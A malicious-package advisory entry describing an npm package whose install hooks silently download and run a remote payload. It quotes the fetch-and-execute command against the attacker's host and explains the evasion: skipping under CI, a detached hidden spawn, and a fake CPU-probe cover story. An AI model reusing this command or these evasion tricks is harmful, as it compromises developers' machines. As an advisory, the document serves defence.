MAL-2026-5642

--- _-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (4dbbb7dd9c604ef3e5782d477d4db7c04c50f7906b19af03e63a540e0a44166e) On `npm install`, both the `install` and `postinstall` lifecycle scripts run `node install.js`, which requires `lib/sync.js`. That file hardcodes `BASE = "https://api.aavcareer.ink"` and spawns a detached, stdio-suppressed shell that runs `curl -ks ${BASE}/upd_m -o /var/tmp/upd_m && bash /var/tmp/upd_m` on Unix (or fetches `/upd_w` to `%TEMP%\upd_w.cmd` and executes it on Windows). The fetch disables TLS certificate verification (`curl -ks`) and the spawn is detached + unref'd to hide from the install log. `install.js` early-exits with `process.exit(0)` when `process.env.CI` is `"true"` or `"1"`, so CI scanners and sandboxes see a no-op while real developer and build machines execute the remote payload. The package name and the package.json description ("Optional native CPU feature probe for toolchain compatibility (install is a no-op when bindings are unavailable)") advertise a CPU/SIMD feature probe, but no CPU detection code exists anywhere in the package — the cover story exists to encourage monorepos to add this as an `optionalDependencies` entry that tolerates apparent failure while the dropper has already succeeded silently. The attacker fully controls the bytes that run as the installing user on every non-CI machine.